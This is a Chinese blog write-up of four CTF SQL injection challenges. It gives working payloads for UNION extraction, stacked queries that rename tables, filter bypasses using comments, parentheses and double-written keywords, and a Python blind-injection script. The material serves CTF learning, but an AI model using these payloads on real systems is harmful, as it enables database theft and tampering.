sql注入

文章详细描述了几场CTF比赛中关于SQL注入的挑战,包括利用ORDERBY和unionselect进行列数检测、数据提取,以及针对布尔盲注、空格过滤和堆叠注入的技巧。作者通过实际操作演示了解决这些安全问题的方法。
摘要由CSDN通过智能技术生成

1.[LitCTF 2023]这是什么?SQL !注一下 !

先输入个1看看回显

 可以看到闭合条件是)))))),而且不管是1'还是1''都报错,说明是数字型注入,

用1)))))) order by 2#,,1)))))) order by 3#查看有几列

//ORDER BY 语句用于根据指定的列对结果集进行排序。order by 2#对2列进行排序,如果有两列就会排序,order by 3#如果没有三列就会报错,这样就可以判断出有几列。

 

 说明有两列,查看表名:1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#

//union select是联合查询语句,可以在前面查询结束后继续执行union select后面的查询语句,如果你只想执行union select后面的查询语句,可以在1前面加一个-号,这样前面的查询就会错误,就只会返回union select 后面的查询结果。

group_concat函数可以合并多行的某列(或多列)数据为一行,默认以逗号分隔。功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。

table_name:表名称

information_schema.tables数据库只读表,虚拟的,并不存在。在MySQL的5.1版本及以上,MySQL数据库中会存在一个叫做information_schema的默认数据库,这个库里面记录着MySQL管理的数据库的名称,表名,列名(也叫字段名)。

table_schema 在MySQL数据库中,table_schema指的是数据库的名称,当我们需要查询某个特定数据库中的表、视图、存储过程等对象时,需要指定table_schema。

database()MySQL自带的数据库。

查看users里面的列名:1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_name="users"#

column_name列名

 接着查列名里面的字段:1)))))) union select 1,group_concat(id,username,password) from users#

 

 很明显flag是假的,那么可能是flag不在该数据库,在其他的数据库,查询所有的数据库:

1)))))) union select 1,schema_name from information_schema.schemata#

 可以看到几个数据库,其中ctftraining比较可疑,可以先查询这个数据库:

1)))))) union select 1,table_name from information_schema.tables where table_schema='ctftraining'#

 可以看到有flag,进行读取:

1)))))) union select 1,flag from ctftraining.flag#

 2.[强网杯 2019]随便注

先提交1看看

 查询成功,接着尝试1'和1'',当为1'时报错,当为1''时不报错,说明是单引号闭合的。

用payloud:1' or 1=1#查询,结果显示出所有的东西,说明确实存在SQL注入。

 用order by语句查询列,当为1' order by 3#的时候报错,说明有两个列。

接着尝试用union select联合注入,但是发现被正则匹配了很多经常使用的SQL语句。

 尝试堆叠注入:1';show databases;#

 可以看见;后面的查询语句执行了,说明可以用堆叠注入。

构造payloud查看表名:1';show tables;#

 可以看到有一个纯数字的表名和words表,当查看的表名是纯数字的时候要用'把表名引起来。

1'; show columns from`1919810931114514`;#

 可以看到有flag,接着看看words表:1';show columns from words;#

 里面有id和data两个列,但是在1919810931114514表中只有flag一个字段,而且我们查询的时候是有两列的,也就是说该题的SQL语句查询的是words表下面的id和data两个列。我们就需要用到SQL堆叠注入可以执行修改语句这个特点来对数据库中的表进行修改,把1919810931114514表改成words表,并把flag列改成id列或data列,把原来的words表改成其他的名称。

构造payloud:1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

alter table命令用于添加、删除或者更改现有数据表中的列;

rename to重命名为;

 改完之后用1' or 1=1#爆出所有字段:

 得到flag。

3.[CISCN 2019华北Day2]Web1

当你输入1的时候并没有get传参id=1,那么可能是post传参,可以抓包看一下1是怎么上传的。

 

 可以看到是post传参。尝试2,3,1',1''

2:

 3:

 1'和1'':

 发现bool,可能是布尔盲注,接着测试,发现有空格时会发生报错,说明过滤了空格,

 也可以用bp去测试,把SQL常用的注入语句单词和字符都放在一个txt文本里,然后爆破就可以,会发现空格时和一些其他的长度会不一样

 那么就涉及到SQL注入中空格的绕过:

详细可看:https://blog.csdn.net/Cairo_A/article/details/134882367

这里就用括号绕过,构造payloud:

id=(select(ascii(mid(flag,1,1))=78)from(flag))

 因为题目是直接就给了我们flag在flag下面的,所以就可以直接查询

 

 回显和1的是一样的,说明正确,查看ASCII表第一个字母就是N,接着就可以一个字符一个字符的去测试,只用修改mid(flag,1,1)里面的第一个1,以及78就可以测试出所有,但是这样太过浪费时间。可以用python脚本跑一下:

import requests
import string

def blind_injection(url):
	flag = ''
	strings = string.printable
	for num in range(1,60):
		for i in strings:
			payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))
			post_data = {"id":payload}
			res = requests.post(url=url,data=post_data)
			if 'Hello' in res.text:
				flag += i
				print(flag)
			else:
				continue
	print(flag)


if __name__ == '__main__':
	url = 'http://node2.anna.nssctf.cn:28841/index.php'
	blind_injection(url)

实力不够,只能借鉴:来自https://blog.csdn.net/mochu7777777/article/details/109516952

 4.[SWPUCTF 2022 新生赛]ez_sql

看题目可以知道是post注入,而且参数是nss

nss=1时:

 很明显flag是假的,开始进行注入。

输入1’,结果报错

 构造payloud:nss=1' or 1=1#

 还是报错,说明可能把一些东西过滤了,测试一下

 可以看到过滤了空格,用/**/绕过

构造payloud:1'/**/union/**/select/**/1,2,3;#

 观察报错语句:1'没有了,union也没有了,都被过滤了,双写绕过union,用其他数字代替1

最终的payloud:4'/**/ununionion/**/select/**/1,2,3;#

 

 说明有三个列.

爆库名,构造payloud:4'/**/ununionion/**/select/**/1,2,database();#

 库名是NSS_db

爆表名:构造payloud:4'/**/ununionion/**/select/**/1,2,group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db';#

这里information多写一个的原因是过滤了or

 

 有两个表,爆表的列。构造payloud:4'/**/ununionion/**/select/**/1,2,group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb';#

 可以看到有三个列:id,secr3t,flll444g,查看secr3t,flll444g两个列的内容。

构造payloud:4'/**/ununionion/**/select/**/1,group_concat(Secr3t),group_concat(flll444g)/**/from/**/NSS_tb;#

 flag是在secr3t这个列下面的。

这个题就是需要通过观看报错内容来确定哪里被过滤了,并且怎么去绕过。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值